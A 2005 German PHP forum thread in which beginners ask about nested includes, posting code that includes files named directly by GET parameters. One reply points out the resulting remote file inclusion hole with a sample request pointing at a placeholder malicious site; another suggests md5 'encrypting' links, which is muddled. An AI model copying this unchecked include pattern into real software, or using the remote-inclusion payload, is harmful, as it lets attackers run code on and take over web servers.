| PHP Developer Forum Hier habt ihr die Möglichkeit, eure Skriptprobleme mit anderen Anwendern zu diskutieren. Seid so fair und beantwortet auch Fragen von anderen Anwendern. Dieses Forum ist sowohl für ANFÄNGER als auch für PHP-Profis! Post your PHP questions here! |
 |
|

15-04-2005, 20:51
|
|
MasterOfPuppets
Newbie
|
|
Registriert seit: Apr 2005
Beiträge: 20
|
|
[PHP5] Include im Include
Hi there,
Ich hab ein Problemchen mit einem Include in einem Include. Ich hab ein Switch-Script (nenn ich jetzt ma so, ihr versteht was ich mein wenn ihr euch den Code anguckt) geschrieben und die mit diesem Script eingebundene Datei soll selber noch eine HTML-Seite einfügen macht es aber nicht. Ich hab keine Ahnung warum das nicht funktioniert. Ach ja komich ist auch das keine Fehlermeldung kommt.
Das "Switch-Script":
PHP-Code:
<?php
if(isset($_GET['open'])) {
$to_open= $_GET['open'];
if(file_exists("$to_open.php")) {
include("$to_open.php");
}
else {
echo('<b>Die Datei ');
echo($to_open);
echo('.php kann leider nicht gefunden werden...</b>');
}
}
else {
include('home.php');
}
?>
und home.php...
PHP-Code:
<?php
include(login.htm);
?>
Sonst enthalten die Dateien nur noch HTML und CSS
Ich hoffe ihr wisst Rat und bedank mich schon mal...
Geändert von MasterOfPuppets (15-04-2005 um 20:54 Uhr)
|

15-04-2005, 21:01
|
|
penizillin
PHP Guru
|
|
Registriert seit: Feb 2004
Beiträge: 10.166
|
|
PHP-Code:
include 'datei.html';
|

16-04-2005, 04:19
|
 |
onemorenerd
 Moderator
|
|
Registriert seit: Mar 2005
Ort: Berlin
Beiträge: 9.481
|
|
Re: [PHP5] Include im Include
ebenso
PHP-Code:
echo 'Auch Klammern haben mal Urlaub.';
|

16-04-2005, 11:12
|
|
MasterOfPuppets
Newbie
|
|
Registriert seit: Apr 2005
Beiträge: 20
|
|
Hm naja das funktioniert ebenfalls nicht. Das ist recht eigenartig. Kann es sein das dies an irgendeiner Serverkonfiguration liegen kann. Mir ist jetzt auch aufgefallen, das ich auch Scripte ersellen muss die dann nicht wie in diesen Fall HTML-Dateien einfügen sondern PHP-Dateien, ist da allgemein irgendwas zu beachten irgendwas anders oder so... ???
|

16-04-2005, 12:33
|
|
penizillin
PHP Guru
|
|
Registriert seit: Feb 2004
Beiträge: 10.166
|
|
E_ALL?
|

16-04-2005, 12:36
|
|
pekka
PHP Master
|
|
Registriert seit: Jun 2001
Ort: Köln
Beiträge: 6.608
|
|
Include ('login.htm')?
|

16-04-2005, 13:56
|
|
MasterOfPuppets
Newbie
|
|
Registriert seit: Apr 2005
Beiträge: 20
|
|
Sorry, die HTML Datei wird doch angezeigt.
@penizillin äh das mit E_ALL äh nun ja was bedeutet das  komm da nich ganz mit
|

16-04-2005, 14:10
|
Shurakai
Master  
|
|
Registriert seit: May 2004
Ort: Bergisch Gladbach
Beiträge: 3.090
|
|
Du sollst error_reporting(E_ALL); in deinen Code schreiben, dann wird dir wirklich jeder kleinste Fehler angezeigt...
|

02-05-2005, 16:07
|
|
trinity2253
Newbie
|
|
Registriert seit: Apr 2005
Beiträge: 31
|
|
Ich glaub, ich weiß was er meint.
Er hat eine Standard Datei, sagen wir mal namens index.php eines Member-Bereichs. In diese will er z.B ein Upload.php als Startseite integrieren. Klappt ja auch mit dem Script. Dann per Link will er z.B seine Terminaktualisierung laden. Klappt so weit auch ja. Das Problem ist jetzt wahrscheinlich, daß diese Terminaktualiserung aus mehreren PHP-Site besteht. Und da ist wahrscheinlich das Problem. Mit den unteren Links der Terminaktualisierung kommt er wieder zurück auf die Startseite, weil hier quasi das Startseiten-Script durchlaufen wird.
Index.php
###### Startseite festgelegt ######
<?php
if(!isset($_GET['page'])) {
$page = 'upload.php';
} else {
$page = $_GET['page'];
}
include ($page);
?>
###### Die Links ######
--> <a href"index.php=?upload.php">
--> <a href"index.php=?termine.php">
###### Terminaktualisierung ######
--> <?PHP
if($action) {
if($action=="add") { include("add.php"); }
if($action=="del") { include("del.php"); }
if($action=="edit") { include("edit.php");}
}
else {
?>
<a href="admin/index.php?action=add">Termin hinzufügen</a>
<a href="admin/member.php?action=del">Termin löschen</a>
<a href="admin/member.php?action=edit">Termin editieren</a>
<?
}
?>
Tja, bin mal gespannt, ob er es so meint. Hatte auch mal das Problem und hab´s ehrlich gesagt auch nicht in den Griff bekommen.
Gruß
trinity2253
P.S. Entschuldige.... Kann im Eifer des Gefechts vorkommen... Natürlich ist es vorhanden....
Geändert von trinity2253 (02-05-2005 um 17:37 Uhr)
|

02-05-2005, 16:12
|
|
pekka
PHP Master
|
|
Registriert seit: Jun 2001
Ort: Köln
Beiträge: 6.608
|
|
Da fehlt ein Anführungszeichen.
|

02-05-2005, 16:13
|
Shurakai
Master  
|
|
Registriert seit: May 2004
Ort: Bergisch Gladbach
Beiträge: 3.090
|
|
Dann mache ich ein ?page=http://www.boeseseite.de/boesepage.php?bla= , schreibe in diese datei bösartigen php-code rein und übernehme deine space...
|

02-05-2005, 17:41
|
|
trinity2253
Newbie
|
|
Registriert seit: Apr 2005
Beiträge: 31
|
|
Tolle Antworten....
Es geht doch nur um das Prinzip, ODER???
Wie man seine Links mit Hilfe von md5 verschlüsseln kann, steht jawohl auf einem anderen Blatt Papier. Und das kann jeder nachlesen und halten wie er will.
Gruß
trinity2253
|

02-05-2005, 18:04
|
|
penizillin
PHP Guru
|
|
Registriert seit: Feb 2004
Beiträge: 10.166
|
|
links?
mit md5??
verschlüsseln???
|

02-05-2005, 18:31
|
|
penizillin
PHP Guru
|
|
Registriert seit: Feb 2004
Beiträge: 10.166
|
|
weiß ehrlichgesagt immer noch nicht, was du meinst.
|
|
Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)
|
|
|
| Themen-Optionen |
|
|
| Thema bewerten |
|
|
Forumregeln
|
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.
HTML-Code ist aus.
|
|
|
|
PHP News
|